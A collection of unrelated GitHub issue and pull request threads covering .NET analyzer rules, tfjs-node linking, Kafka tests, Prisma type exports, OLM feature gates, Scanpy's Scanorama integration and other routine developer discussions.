CA1834: Use StringBuilder.Append(char) for single character strings
CA2000: Dispose objects before losing scope
CA2007: Do not directly await a Task
CA2012: Use ValueTasks correctly
CA2201: Do not raise reserved exception types
CA2208: Instantiate argument exceptions correctly
CA2227: Collection properties should be read only
CA2242: Test for NaN correctly
CA2248: Provide correct enum argument to Enum.HasFlag
CA5394: Do not use insecure randomness
IDE0004: Cast is redundant
IDE0005: Remove unnecessary using directives
IDE0052: Remove unread private member
IDE0054: Use compound assignment
IDE0059: Remove unnecessary value assignment
IDE0060: Remove unused parameters
IDE0066: Use 'switch' expression
IDE0083: Use pattern matching

We want to be more flexible with less rules for Tests

In reply to:<PHONE_NUMBER>

Pull Request Test Coverage Report for Build 311178

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 59.495%

Totals

Change from base Build 311177:
0.0%

Covered Lines:
21420

Relevant Lines:
36003

💛  - Coveralls


Use relative path to link to tf shared libs

When linking the tf shared libs for node binding, the symbolic links may
become invalid if the application folder is moved to different directory.
Using relative path to create the symbolic links may avoid this issue.
Signed-off-by: Yihong Wang<EMAIL_ADDRESS>

This change is

I appreciate it if the new version of tfjs-node module including this fix is published on npm repository.
I'd like to use it in my environment.


MINOR:Updates for new versions and upgrade tests 1.0

Related to PR https://github.com/apache/kafka/pull/5605 this PR is for system test updates for new versions in branch 1.0
System test ran and passed https://jenkins.confluent.io/job/system-test-kafka-branch-builder/1947/
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

@guozhangwang @mjsax @vvcephei

LGTM!


Refactor/versions

Description
Reason for this PR

Previously, we had a placeholder styling for backend versions, this adds some more styling.

Changes in this PR

extract versions from welcome page to move them to a different page later
add some styling

Notice: The document icon is a link to the changelog for the exact version tag.

Type of change (remove all that don't apply)

[X] Refactoring

How Has This Been Tested?
Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce. Please also list any relevant details for your test configuration

[X] Manually tested all use cases this could alter

Test Configuration:

OS: Windows

Browser: Chrome

Frontend: (remove all that don't apply)

[X] Development build

Backend: (remove all that don't apply)

[X] Deployed master version 0.5.0

Checklist: (remove all that don't apply)

[X] I have performed a self-review of my own code
[X] My changes generate no new linting warnings or console warnings
[ ] I have updated the CHANGELOG.md to include any changes made in this PR (add WIP to the top, if there is none already)

This looks really great; good job on the design part.


ImmediateSend + TxPower

UI updated to enable on-demand testing of ImmediateSend by tapping on detected device to send message immediately, resulting in increment of didReceive and receive timestamp on target device.

UI update replaced didVisit (unused) with didReceive
UI update to present detected devices as list of targets, tap to trigger immediate send
UUID updated for services and characteristics inline with Android
TxPower now available as part of calibration data attached to Proximity
PayloadData fixed against underflow error

Closes #19

Holding off on this until we know the 1201 short ID won't cause interoperability issues

Keeping common 128-bit UUID until dedicated 16-bit UUID is available. Code is now common between iOS and Android.


[Repo Rearchitecture] Add PR Validation check for ids in new quickstarts

Description
When creating new quickstarts, a lot of contributors include id fields in the config.yml, usually copy/pasted from other quickstarts. This leads to duplicate id's and we currently have to manually check for these during PR review. We should add a PR validation check that identifies whether a quickstart is new and fails if the config.yml contains an id field, with appropriate instructions for the user.
Virtuoso have confirmed that NerdGraph validation will not be able to identify if a quickstart is new or not so the check can't be done on that side.
This check should be performed before the NerdGraph validation check.
Acceptance Criteria

[ ] Create a new workflow job that checks whether a quickstart is new or updated
[ ] Checks whether a new quickstart has an id field provided

[ ] If it does, fail with appropriate instructions for the user

[ ] Checks to make sure an updated quickstart still has an id field
[ ] Includes tests

@rudouglas , I was speaking to @jerelmiller about this ticket as DevEx is taking on some of our repo-re architecture work next sprint as they have bandwidth 🥳 . I was curious why is this tagged as a re-arch ticket? [Don't we already check for uniquessness? ](https://github.com/newrelic/newrelic-quickstarts/blob/main/utils/check_quickstart_uniqueness.js
l)

I believe this is a duplicate so closing, unless @rudouglas objects.


Module '"src/generate/prisma"' has no exported member 'BookingWhereInput'.

Bug description
when updating in prisma 2. generated file index.d.ts as not exported but i see BookingWhereInput are exported in index.d.ts file..
after importing the Prisma and access through the Prisma.BookingWhereInput is don't found value inside the BookingWhereInput. but prisma 1 everythings was worked fine..
How to reproduce

Expected behavior
No response
Prisma information

Environment & setup

OS:
Database:
Node.js version:

Prisma Version

Prisma 2 is completely different from Prisma 1.
If you want to upgrade from Prisma 1, please follow these guides: https://www.prisma.io/docs/guides/upgrade-guides/upgrade-from-prisma-1

i have already done according to guidelines but there's lot of information
still missing when we generate
On Thu, Aug 5, 2021, 2:15 PM Jan Piotrowski @.***>
wrote:

Prisma 2 is completely different from Prisma 1.
If you want to upgrade from Prisma 1, please follow these guides:
https://www.prisma.io/docs/guides/upgrade-guides/upgrade-from-prisma-1
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/prisma/prisma/issues/8585#issuecomment-893280495, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AM6X7W4IJUXFVEHZU4IQ2ATT3JFRDANCNFSM5BSWOTLA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.

--
www.iilmcet.ac.in http://iilmcet.ac.in/ | Watch to Experience IILM
https://www.youtube.com/watch?v=OQ5Jgx3-qLk
https://www.facebook.com/iilmcet.grnoida
https://twitter.com/IilmEngineering
https://www.linkedin.com/company/iilmcet-grnoida/
https://www.instagram.com/iilm.engineering/

Please share a reproduction. You provide no code to back up your description so we can't figure out the problem.

@pantharshit00 the generated prisma client exports a namespace with many types and interfaces exported. But according to TypeScript:
https://www.typescriptlang.org/docs/handbook/namespaces-and-modules.html

Namespaces are a TypeScript-specific way to organize code.
Modules can contain both code and declarations.

It surprised me as well, I wasn't able to import UserWhereInput. But TS recommends using modules over namespaces. Is it possible to change it?


Disable adopt-controller through feature-gates

adopt controller
The adopt controller frequently updates operators.status of cluster scope resources.
At the k8s level, this behavior generates a large number of audit events, and it
also causes some pressure on etcd

I try to use feature-gates to disable it
apiVersion: apps/v1
kind: Deployment
metadata:
  name: olm-operator
  namespace: {{ .Values.namespace }}
  labels:
    app: olm-operator
spec:
  template:
    metadata:
      labels:
        app: olm-operator
    spec:
      containers:
          command:
          - /bin/olm
          args:
          - --feature-gates=OperatorLifecycleManagerV1=false

It cannot be started and has the following error log
invalid argument "OperatorLifecycleManagerV1=false" for "--feature-gates" flag: cannot set feature gate OperatorLifecycleManagerV1 to false, feature is locked to true

Whether the adopt controller can be disabled, and whether other components in the olm depend on it.


Update decode_car signature, bytes CIDs instead of str in README

for v2.0.0
(2.0.0 looks great btw @MarshalX! can't wait to start using it.)

@snarfed thank you! lemme know about your results with 2.0.0 pls


Refactor the code to make sure os path related logic is OS agnostic

Make the code expecting Unix/Linux paths OS-independent.

Hi, I'd like to work on this issue, could you assign it to me?

Hi @arkid15r ,
I noticed that issue #933: Refactor the code to make sure os path related logic is OS agnostic #933 is currently assigned but hasn’t had any recent activity in the last two weeks. I’m eager to contribute and would love to help move this forward.
If the current assignee is unavailable or needs assistance, I would be happy to take over or collaborate to resolve this issue promptly. Please let me know how I can assist.
Looking forward to your response!

I'm still working on this, just wanted to make sure everything is working before i send the final PR.

@winters0x64 Thank you for your update

@bhagyashree980 , appreciate you looking into this, I was occupied with implementing some security checks, that's why this got delayed. If you want to contribute you can try to improve the nettacker engine part, I'll  be looking at that after this maybe we can collaborate on that.

Hi @winters0x64 ,
Thank you for the update and for sharing the context. I understand how implementing security checks can take priority. I appreciate the suggestion to look into improving the Nettacker engine part—I'll start exploring it right away.


Add Scanorama integration to external API

Hello! I thought it might be useful to add Scanorama  to the set of integration methods in scanpy.external.pp.
I've followed the example laid out in https://github.com/theislab/scanpy/pull/1306 pretty closely. I've also done some small scale integration testing on a local machine just to verify that batch effect correction indeed works when called with this API.
Let me know what I can do to help get this merged!

Hi @brianhie,
It's great that you're contributing to Scanpy to make the interoperability even easier (I guess it was already quite good given you built on AnnData). We have been evaluating data integration methods and in which Scanorama performed quite well (you may have seen the preprint). One aspect that would make it even easier to use the tool that we were missing in the comparison is a small tutorial. The example in the function docstring is already very helpful, but do you think it would be possible to add a quite jupyter notebook in this direction? This is obviously a request outside of this PR.
On the topic of the PR, I wonder if adata.obsm['X_pca_scanorama'] is a good default name for the generated embedding, and not just adata.obsm['X_scanorama'] as the standard user may not have delved into the methodology as much.

Great! Thanks, @brianhie!

Awesome, thanks everyone.
@ivirshup I added something to the release notes in the latest commit. I hope the formatting is okay -- let me know if there's some better way to do it.
@LuckyMD I've seen your benchmarking preprint and admire the work! For the current API, I'm currently mooching off of tutorials made by others: one which is simpler and one (included in the scanpy tutorials) that is a little more advanced: https://github.com/brianhie/scanorama#full-tutorial. Should this get merged and included in the scanpy API, I promise I'll make a new notebook-based tutorial (probably in Google Colab) that shows off the new API and include a link to it from the Scanorama GitHub README.md. I also agree with shortening the default embedding to 'X_scanorama' and have done that in the latest commit.
@falexwolf Happy to make any changes to the tests if you think that will boost performance, if you'd like.

Hah, I like the community use here! Looking forward to your tutorial then!

@ivirshup thanks for the merge!

@ivirshup thanks for the merge!

Thanks for the contribution! Sorry about the wait on releasing this!

Thanks for the contribution! Sorry about the wait on releasing this!

Hi @ivirshup , I'm wondering if you plan to implement the scanorama_correct method as well in addition to the scanorama_integrate method. #2002
Thanks!


Specifying value as a :symbol does not work, despite code documentation

https://github.com/toptal/chewy/blob/master/lib/chewy/type/mapping.rb#L59-L70 states:
# :value might be a proc or indexed object method name:
field :full_name, type: 'string', value: :user_full_name

However, the code at https://github.com/toptal/chewy/blob/master/lib/chewy/fields/base.rb#L34-L54 does not support this. Specifically, if value is not a Proc, then the code calls object.send(name), when I would have expected it to call object.send(value) if value is a Symbol.
https://github.com/toptal/chewy/blob/master/lib/chewy/fields/base.rb#L53
Possibly related to #549, though I have not examined the diff in depth.

Oh, you are right, will fix it, thanks for the report!


Fix proptypes error

This PR looks great and is exactly what I am looking for! Thanks for contributing.

Thanks @kubilaysalih
I merge it.


fix: Bump platform-plugin-aspects to 0.9.7

Fixes issues with course block ordering as well as section/subsection ordering.

Reopening, I pushed this too quickly so 0.9.7 wasn't available yet


Move example scripts into separate folder

The scripts example.gd and 2.gd could be moved into an example folder.
This way it is easier to see which files are not necessary for the plugin to work and they can be ignored in the importing process.

Woops! 2.gd isn't even never to be there haha. I was thinking about whether having an example script is worth it or if it's just annoying for regular users.
It's a good idea to move it out from the source code folder though.


Using ES2015 ol package from Angular cli

#Trying use the ol package from Angular cli Project writing in TypeScript:
import Map from 'ol/map';
I get Could not find a declaration file for module 'ol/map'. '/foo/node_modules/ol/map.js' implicitly has an 'any' type.
Has anybody managed to make it work with TypeScript?
Please Provide a way to work with it in TypeScript, There are many people who use angular cli as their main tool and we need this support.
I would be happy to build a typings library for this package but I don't know from where to start,
Please provide some guidlines.
Best Regards,
Barak

You can try this typings for OL I've made:
https://github.com/jumpinjackie/mapguide-react-layout/blob/master/src/internal_typings/openlayers.d.ts

I added  "@types/ol": "4.6.1" to my React project package.json file and npm retrieved all the type definitions for OpenLayers. The only thing I found cumbersome is the definitions are very granular so you have to import all kinds of specific types for OL. Maybe I'm missing something but have not been able to find a way to import the entire OL definition like other libraries. Appears there is an index.d.ts file necessary in the /ol folder.


Might want to re-release a binary

Hey @zchee, we accidentally introduced some regressions in API in latest versions of Machine.  I think you might want to re-compile and re-release the binary for this.  Cheers!

@nathanleclaire Thanks!
I think so, too.
Occasionally it seems to fail to build. https://github.com/zchee/docker-machine-driver-xhyve/issues/40
I will prepare for the binary release.
Thanks advise!!
===
Off topic:
Finished remove fork flag.
and, Thanks for add deplicated announce in README.md :)

@nathanleclaire
I will close this issue when finished binary release.

@nathanleclaire I released version v0.2.0!
https://github.com/zchee/docker-machine-driver-xhyve/releases/tag/v0.2.0
Also added pre-compiled binary use travis-release.
Close.